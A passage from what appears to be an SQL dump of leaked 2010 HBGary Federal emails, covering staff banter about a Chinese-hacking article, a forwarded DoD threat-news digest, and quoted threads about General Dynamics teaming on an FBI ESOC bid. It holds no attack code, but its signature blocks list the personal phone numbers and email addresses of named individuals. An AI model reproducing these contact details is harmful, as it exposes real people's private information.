arsenal for conducting offense\r\noperations is diverse to ensure success.  To assume attacks like aurora\r\nare not state sponsored because they have folks on the inside is naive.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIn short, he makes assumptions\r\nand extrapolates without fact and he shouldn&#39;t.  It is this type of grand\r\nstanding that gets people skeptical of the security profession.  Stick to\r\nwhat you know and what you can prove.  \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn May 19, 2010, at 3:19 AM, Greg Hoglund &lt;greg@hbgary.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK Aaron,\r\n\r\n\r\n\r\n\r\n\r\nWTF do black duck eggs have to do with chinese hackers?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI have always viewed Ira as a hanger on cry wolfer, has he\r\nchanged at all?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\nOn Tue, May 18, 2010 at 4:54 PM, Martin Pillion &lt;martin@hbgary.com&gt; wrote:\r\n\r\nhttp://www.networkworld.com/community/blog/black-duck-eggs-and-other-secrets-chinese-hac\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9461,'aaron_hbgary_com/9461.html'),(6476,'2010-05-19','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004647.M475996P14101Q1331.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Newbern, David W (TASC)\" <DAVID.NEWBERN@tasc.com>,\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>','Akamai Quals','Hi All,\r\n\r\n\r\nAkamai has some really interesting capabilities, including MoE,\r\nadvertising metrics, and some of the Application Performance stuff looks\r\ninteresting.  Here\'s the link\r\nhttp://www.akamai.com/html/solutions/index.html.\r\n\r\nWe are currently working a NDA with them.  I suspect we will set up a\r\nmeeting next week.  \r\n\r\nLet me know what you think and how we can apply these technologies.   \r\n\r\nThanks, \r\n\r\nChris \r\n\r\n\r\n',14410,'aaron_hbgary_com/14410.html'),(6477,'2010-05-19','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004649.M223002P14101Q1332.eml','\"Greg Hoglund\" <greg@hbgary.com>,rich@hbgary.com,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: NMCIWG: Daily Computer Threat News (Wed)','\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Wednesday, May 19, 2010 12:06 PM\r\nSubject: FW: NMCIWG: Daily Computer Threat News (Wed)\r\n\r\n \r\n\r\n\r\nSubject: NMCIWG: Daily Computer Threat News (Wed)\r\n\r\nArticle #10 is disturbing; the Zeus Trojan uses well-written documents\r\n(sometimes using DoD letterhead) saved as PDF files that contain exploits\r\nthat use non-current versions of Adobe Reader to compromise computer\r\nsystems. It is CRUCIAL that EVERY computer on your network have current\r\nsoftware patches!\r\n\r\nToday\'s articles:\r\n\r\n1.      P2P networks a treasure trove of leaked health care data, study\r\nfinds\r\n\r\n2.      NATO should tool up for cyber war, say globo-bigwigs\r\n\r\n3.      After copier fiasco, FTC may regulate\r\n\r\n4.      USB worm named biggest PC threat\r\n\r\n5.      Five ways to (physically) hack a data center\r\n\r\n6.      Fraud Bazaar Carders.cc Hacked\r\n\r\n7.      Security bug bites 64-bit Windows\r\n\r\n8.      Facebook fixing embarrassing privacy bug\r\n\r\n9.      Apple catches up with Java security updates\r\n\r\n10.     Zeus is forwarding Adobe updates again\r\n\r\n11.     Attackers use final Lost episode to spread rogueware\r\n\r\n12.     Man charged with attack on Web site of Fox News\' Bill O\'Reilly\r\n\r\n',13716,'aaron_hbgary_com/13716.html'),(6478,'2010-05-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004649.M509263P14101Q1333.eml','\"Lemke, Michelle R.\" <Michelle.Lemke@gd-ais.com>','Re: FBI ESOC Teaming','Michelle,We have strong discriminators in Task 3 and 5. &nbsp;Strong malware analysis and threat intelligence is a high skillset business, which makes it hard to meet the quals in the salaries you are targeting, but our tools make this process a lot easier.Because of our capabilities in Task 3 and 5 we can also provide service in Task 2, 4, and 6 which are not as high skilled functions.AaronOn May 17, 2010, at 8:41 PM, Lemke, Michelle R. wrote:I Aaron, can you call me? I’d like to talk to you about your company.&nbsp;Thanks, Michelle&nbsp;Michelle LemkeSenior Manager Business DevelopmentGeneral Dynamics Advanced Information SystemsBB&nbsp; 703-946-1495C 757-286-9239&nbsp;From:&nbsp;Harlow, Douglas M.&nbsp;Sent:&nbsp;Monday, May 17, 2010 8:32 PMTo:&nbsp;\'Aaron Barr\'; Lemke, Michelle R.Subject:&nbsp;FBI ESOC Teaming&nbsp;Aaron,I’d like to introduce you to our capture manager for this effort, Michelle Lemke.We’re still strategizing our sub and team mates and she’ll want to talk with you.Doug&nbsp;Here’s here contact info:Michelle LemkeSenior Manager Business DevelopmentGeneral Dynamics Advanced Information SystemsBB&nbsp; 703-946-1495C 757-286-9239&nbsp;&nbsp;&nbsp;From:&nbsp;Harlow, Douglas M.&nbsp;Sent:&nbsp;Monday, May 17, 2010 6:52 PMTo:&nbsp;Aaron BarrSubject:&nbsp;FW: EmeSec Small Business&nbsp;Aaron,Do you have anything like the&nbsp; attached products for HBGary ?We’re trying to form our small business plan in real time and want the best team mates – if interested.Doug&nbsp;From:&nbsp;Lemke, Michelle R.&nbsp;Sent:&nbsp;Monday, May 17, 2010 5:27 PMTo:&nbsp;Harlow, Douglas M.Subject:&nbsp;FW: EmeSec Small Business&nbsp;Bounce this against your small business.&nbsp;Michelle LemkeSenior Manager Business DevelopmentGeneral Dynamics Advanced Information SystemsBB&nbsp; 703-946-1495C 757-286-9239&nbsp;From:&nbsp;Bill Lillard [mailto:blillard@emesec.net]&nbsp;Sent:&nbsp;Monday, May 17, 2010 4:57 PMTo:&nbsp;Lemke, Michelle R.Cc:&nbsp;Finn, Rick L.; Grayson \"Barney\" Koogle; Maria HortonSubject:&nbsp;EmeSec Small Business&nbsp;Michelle.&nbsp; Here are the documents we spoke of earlier.&nbsp; Please let me know if we can be of help to your effort.&nbsp; R/Bill&nbsp;From:&nbsp;Maria Horton&nbsp;Sent:&nbsp;Monday, May 17, 2010 4:34 PMTo:&nbsp;Lemke, Michelle R.Cc:&nbsp;Finn, Rick L.; Bill Lillard; Grayson \"Barney\" KoogleSubject:&nbsp;EmeSec Small Business&nbsp;Michelle,Rick Finn called me to say hello and ask if I would contact you.&nbsp;It appears that you are seeking a particular Small Business.&nbsp; It looks like a bid/last minute need.Please provide some information on how we might help.&nbsp;I have included VP of Business Development and VP of Operations on this note.Maria Horton&nbsp;Maria C. Horton, CISSP-ISSMP, IAMDirect: 703.956.3037Cell:&nbsp;&nbsp;&nbsp;&nbsp; 703.969.2382&nbsp;From:&nbsp;Finn, Rick L. [mailto:rick.finn@gd-ais.com]&nbsp;Sent:&nbsp;Monday, May 17, 2010 2:35 PMTo:&nbsp;Lemke, Michelle R.; Maria HortonSubject:&nbsp;RE: small business&nbsp;Michelle-here’s the company and Maria is on the email.EmeSec&nbsp;Incorporated :: Information AssuranceService Disabled Veteran, Woman Owned, 8(a), Small Business&nbsp;EmeSec&nbsp;Incorporated :: 1818 Library Street, Suite 500, Reston, Virginia 20190 :: 703.956.3036&nbsp;Rick Finn, PMPDirectorCritical Infrastructure Protection Solutions/DHS ProgramsGENERAL DYNAMICS - AISWork - 703-277-1749Cell - 703-597-9613BB - 571-218-9948_____________________________________________From:&nbsp;Lemke, Michelle R.Sent:&nbsp;Monday, May 17, 2010 2:06 PMTo:&nbsp;Finn, Rick L.Subject:&nbsp;small businessRick, I need small disadvantaged, Woman-owned small, Hubzone, or Service Disabled Vet owned….if you have any that fit 2 of the categories that would be even better.Michelle LemkeSenior Manager Business DevelopmentGeneral Dynamics Advanced Information SystemsBB&nbsp; 703-946-1495C 757-286-9239\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',702,'aaron_hbgary_com/702.html'),(6479,'2010-05-19','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297004649.M740086P14101Q1334.eml','\"Aaron Barr\" <aaron@hbgary.com>','penny hoglund has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and penny are now connected.\r\n\r\n \r\n   \r\n   View penny\'s profile to:\r\n     \r\n       Download penny\'s current contact information\r\n       Write a recommendation for penny\r\n       Find opportunities through penny\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/fpf/19713599/EML-inv-acc-prof/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',2248,'aaron_hbgary_com/2248.html'),(6480,'2010-05-19','\"Lemke, Michelle R.\" <Michelle.Lemke@gd-ais.com>','/aaron@hbgary.com/new/1297004649.M969046P14101Q1335.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: FBI ESOC Teaming','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGive me you Contracts and Technical POC and we&#8217;ll get an NDA\r\ngoing .&nbsp; Also, what are your small business quals? \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business Development\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, May 19, 2010 4:58 PM\r\nTo: Lemke, Michelle R.\r\nSubject: Re: FBI ESOC Teaming\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMichelle,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe have strong discriminators in Task 3 and 5. &nbsp;Strong\r\nmalware analysis and threat intelligence is a high skillset business, which\r\nmakes it hard to meet the quals in the salaries you are targeting, but our\r\ntools make this process a lot easier.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBecause of our capabilities in Task 3 and 5 we can also provide\r\nservice in Task 2, 4, and 6 which are not as high skilled functions.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn May 17, 2010, at 8:41 PM, Lemke, Michelle R. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI Aaron, can you call me? I&#8217;d like to talk to you about your\r\ncompany.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks, Michelle\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMichelle Lemke\r\n\r\n\r\n\r\n\r\n\r\nSenior Manager Business Development\r\n\r\n\r\n\r\n\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\n\r\n\r\n\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\n\r\n\r\n\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Harlow, Douglas M.&nbsp;\r\nSent:&nbsp;Monday, May 17, 2010\r\n8:32 PM\r\nTo:&nbsp;\'Aaron Barr\'; Lemke,\r\nMichelle R.\r\nSubject:&nbsp;FBI ESOC Teaming\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;d like to introduce you to our capture manager for this\r\neffort, Michelle Lemke.\r\n\r\n\r\n\r\n\r\n\r\nWe&#8217;re still strategizing our sub and team mates and she&#8217;ll want\r\nto talk with you.\r\n\r\n\r\n\r\n\r\n\r\nDoug\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere&#8217;s here contact info:\r\n\r\n\r\n\r\n\r\n\r\nMichelle Lemke\r\n\r\n\r\n\r\n\r\n\r\nSenior Manager Business Development\r\n\r\n\r\n\r\n\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\n\r\n\r\n\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\n\r\n\r\n\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Harlow, Douglas M.&nbsp;\r\nSent:&nbsp;Monday, May 17, 2010\r\n6:52 PM\r\nTo:&nbsp;Aaron Barr\r\nSubject:&nbsp;FW: EmeSec Small\r\nBusiness\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nDo you have anything like the&nbsp; attached products for HBGary\r\n?\r\n\r\n\r\n\r\n\r\n\r\nWe&#8217;re trying to form our small business plan in real time and\r\nwant the best team mates &#8211; if interested.\r\n\r\n\r\n\r\n\r\n\r\nDoug\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Lemke, Michelle R.&nbsp;\r\nSent:&nbsp;Monday, May 17, 2010\r\n5:27 PM\r\nTo:&nbsp;Harlow, Douglas M.\r\nSubject:&nbsp;FW: EmeSec Small\r\nBusiness\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBounce this against your small business.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMichelle Lemke\r\n\r\n\r\n\r\n\r\n\r\nSenior Manager Business Development\r\n\r\n\r\n\r\n\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\n\r\n\r\n\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\n\r\n\r\n\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bill Lillard\r\n[mailto:blillard@emesec.net]&nbsp;\r\nSent:&nbsp;Monday, May 17, 2010\r\n4:57 PM\r\nTo:&nbsp;Lemke, Michelle R.\r\nCc:&nbsp;Finn, Rick L.; Grayson\r\n&quot;Barney&quot; Koogle; Maria Horton\r\nSubject:&nbsp;EmeSec Small\r\nBusiness\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMichelle.&nbsp; Here are the documents we spoke of\r\nearlier.&nbsp; Please let me know if we can be of help to your effort.&nbsp; R/Bill\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Maria Horton&nbsp;\r\nSent:&nbsp;Monday, May 17, 2010\r\n4:34 PM\r\nTo:&nbsp;Lemke, Michelle R.\r\nCc:&nbsp;Finn, Rick L.; Bill\r\nLillard; Grayson &quot;Barney&quot; Koogle\r\nSubject:&nbsp;EmeSec Small\r\nBusiness\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMichelle,\r\n\r\n\r\n\r\n\r\n\r\nRick Finn called me to say hello and ask if I would contact you.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIt appears that you are seeking a particular Small\r\nBusiness.&nbsp; It looks like a bid/last minute need.\r\n\r\n\r\n\r\n\r\n\r\nPlease provide some information on how we might help.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI have included VP of Business Development and VP of Operations\r\non this note.\r\n\r\n\r\n\r\n\r\n\r\nMaria Horton\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMaria C. Horton, CISSP-ISSMP, IAM\r\n\r\n\r\n\r\n\r\n\r\nDirect: 703.956.3037\r\n\r\n\r\n\r\n\r\n\r\nCell:&nbsp;&nbsp;&nbsp;&nbsp; 703.969.2382\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Finn, Rick L.\r\n[mailto:rick.finn@gd-ais.com]&nbsp;\r\nSent:&nbsp;Monday, May 17, 2010\r\n2:35 PM\r\nTo:&nbsp;Lemke, Michelle R.;\r\nMaria Horton\r\nSubject:&nbsp;RE: small business\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMichelle-here&#8217;s\r\nthe company and Maria is on the email.\r\n\r\nEmeSec&nbsp;Incorporated ::\r\nInformation Assurance\r\n\r\nService Disabled Veteran, Woman Owned, 8(a), Small Business&nbsp;EmeSec&nbsp;Incorporated :: 1818 Library Street, Suite 500, Reston, Virginia\r\n20190 :: 703.956.3036\r\n\r\n&nbsp;\r\n\r\nRick\r\nFinn, PMP\r\nDirector\r\nCritical Infrastructure Protection Solutions/DHS Programs\r\nGENERAL DYNAMICS - AIS\r\nWork - 703-277-1749\r\nCell - 703-597-9613\r\nBB - 571-218-9948\r\n\r\n_____________________________________________\r\nFrom:&nbsp;Lemke, Michelle R.\r\nSent:&nbsp;Monday, May 17, 2010\r\n2:06 PM\r\nTo:&nbsp;Finn, Rick L.\r\nSubject:&nbsp;small business\r\n\r\nRick, I need small\r\ndisadvantaged, Woman-owned small, Hubzone, or Service Disabled Vet owned&#8230;.if\r\nyou have any that fit 2 of the categories that would be even better.\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business\r\nDevelopment\r\n\r\nGeneral Dynamics Advanced\r\nInformation Systems\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15143,'aaron_hbgary_com/15143.html'),(6481,'2010-05-19','\"Lemke, Michelle R.\" <Michelle.Lemke@gd-ais.com>','/aaron@hbgary.com/new/1297004650.M222568P14101Q1336.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: FBI ESOC Teaming','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nArron, can you please send my your company small business quals?\r\nThen call me or send me your phone number. \r\n\r\n&nbsp;\r\n\r\nMichelle\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business Development\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, May 19, 2010 4:58 PM\r\nTo: Lemke, Michelle R.\r\nSubject: Re: FBI ESOC Teaming\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMichelle,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe have strong discriminators in Task 3 and 5. &nbsp;Strong\r\nmalware analysis and threat intelligence is a high skillset business, which\r\nmakes it hard to meet the quals in the salaries you are targeting, but our\r\ntools make this process a lot easier.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBecause of our capabilities in Task 3 and 5 we can also\r\nprovide service in Task 2, 4, and 6 which are not as high skilled functions.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn May 17, 2010, at 8:41 PM, Lemke, Michelle R. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI Aaron, can you call me? I&#8217;d like to talk to you about your\r\ncompany.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks, Michelle\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMichelle Lemke\r\n\r\n\r\n\r\n\r\n\r\nSenior Manager Business Development\r\n\r\n\r\n\r\n\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\n\r\n\r\n\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\n\r\n\r\n\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Harlow, Douglas M.&nbsp;\r\nSent:&nbsp;Monday, May 17, 2010\r\n8:32 PM\r\nTo:&nbsp;\'Aaron Barr\'; Lemke, Michelle\r\nR.\r\nSubject:&nbsp;FBI ESOC Teaming\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;d like to introduce you to our capture manager for this\r\neffort, Michelle Lemke.\r\n\r\n\r\n\r\n\r\n\r\nWe&#8217;re still strategizing our sub and team mates and she&#8217;ll want\r\nto talk with you.\r\n\r\n\r\n\r\n\r\n\r\nDoug\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere&#8217;s here contact info:\r\n\r\n\r\n\r\n\r\n\r\nMichelle Lemke\r\n\r\n\r\n\r\n\r\n\r\nSenior Manager Business Development\r\n\r\n\r\n\r\n\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\n\r\n\r\n\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\n\r\n\r\n\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Harlow, Douglas M.&nbsp;\r\nSent:&nbsp;Monday, May 17, 2010\r\n6:52 PM\r\nTo:&nbsp;Aaron Barr\r\nSubject:&nbsp;FW: EmeSec Small\r\nBusiness\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\nDo you have anything like the&nbsp; attached products for HBGary\r\n?\r\n\r\n\r\n\r\n\r\n\r\nWe&#8217;re trying to form our small business plan in real time and\r\nwant the best team mates &#8211; if interested.\r\n\r\n\r\n\r\n\r\n\r\nDoug\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Lemke, Michelle R.&nbsp;\r\nSent:&nbsp;Monday, May 17, 2010\r\n5:27 PM\r\nTo:&nbsp;Harlow, Douglas M.\r\nSubject:&nbsp;FW: EmeSec Small\r\nBusiness\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBounce this against your small business.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMichelle Lemke\r\n\r\n\r\n\r\n\r\n\r\nSenior Manager Business Development\r\n\r\n\r\n\r\n\r\n\r\nGeneral Dynamics Advanced Information Systems\r\n\r\n\r\n\r\n\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\n\r\n\r\n\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Bill Lillard\r\n[mailto:blillard@emesec.net]&nbsp;\r\nSent:&nbsp;Monday, May 17, 2010\r\n4:57 PM\r\nTo:&nbsp;Lemke, Michelle R.\r\nCc:&nbsp;Finn, Rick L.; Grayson\r\n&quot;Barney&quot; Koogle; Maria Horton\r\nSubject:&nbsp;EmeSec Small\r\nBusiness\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMichelle.&nbsp; Here are the documents we spoke of\r\nearlier.&nbsp; Please let me know if we can be of help to your effort.&nbsp;\r\nR/Bill\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Maria Horton&nbsp;\r\nSent:&nbsp;Monday, May 17, 2010\r\n4:34 PM\r\nTo:&nbsp;Lemke, Michelle R.\r\nCc:&nbsp;Finn, Rick L.; Bill\r\nLillard; Grayson &quot;Barney&quot; Koogle\r\nSubject:&nbsp;EmeSec Small\r\nBusiness\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMichelle,\r\n\r\n\r\n\r\n\r\n\r\nRick Finn called me to say hello and ask if I would contact you.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIt appears that you are seeking a particular Small\r\nBusiness.&nbsp; It looks like a bid/last minute need.\r\n\r\n\r\n\r\n\r\n\r\nPlease provide some information on how we might help.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI have included VP of Business Development and VP of Operations\r\non this note.\r\n\r\n\r\n\r\n\r\n\r\nMaria Horton\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMaria C. Horton, CISSP-ISSMP, IAM\r\n\r\n\r\n\r\n\r\n\r\nDirect: 703.956.3037\r\n\r\n\r\n\r\n\r\n\r\nCell:&nbsp;&nbsp;&nbsp;&nbsp; 703.969.2382\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Finn, Rick L.\r\n[mailto:rick.finn@gd-ais.com]&nbsp;\r\nSent:&nbsp;Monday, May 17, 2010\r\n2:35 PM\r\nTo:&nbsp;Lemke, Michelle R.;\r\nMaria Horton\r\nSubject:&nbsp;RE: small business\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMichelle-here&#8217;s\r\nthe company and Maria is on the email.\r\n\r\nEmeSec&nbsp;Incorporated ::\r\nInformation Assurance\r\n\r\nService Disabled Veteran, Woman Owned, 8(a), Small Business&nbsp;EmeSec&nbsp;Incorporated :: 1818 Library Street, Suite 500, Reston, Virginia\r\n20190 :: 703.956.3036\r\n\r\n&nbsp;\r\n\r\nRick\r\nFinn, PMP\r\nDirector\r\nCritical Infrastructure Protection Solutions/DHS Programs\r\nGENERAL DYNAMICS - AIS\r\nWork - 703-277-1749\r\nCell - 703-597-9613\r\nBB - 571-218-9948\r\n\r\n_____________________________________________\r\nFrom:&nbsp;Lemke, Michelle R.\r\nSent:&nbsp;Monday, May 17, 2010\r\n2:06 PM\r\nTo:&nbsp;Finn, Rick L.\r\nSubject:&nbsp;small business\r\n\r\nRick, I need small\r\ndisadvantaged, Woman-owned small, Hubzone, or Service Disabled Vet owned&#8230;.if\r\nyou have any that fit 2 of the categories that would be even better.\r\n\r\nMichelle 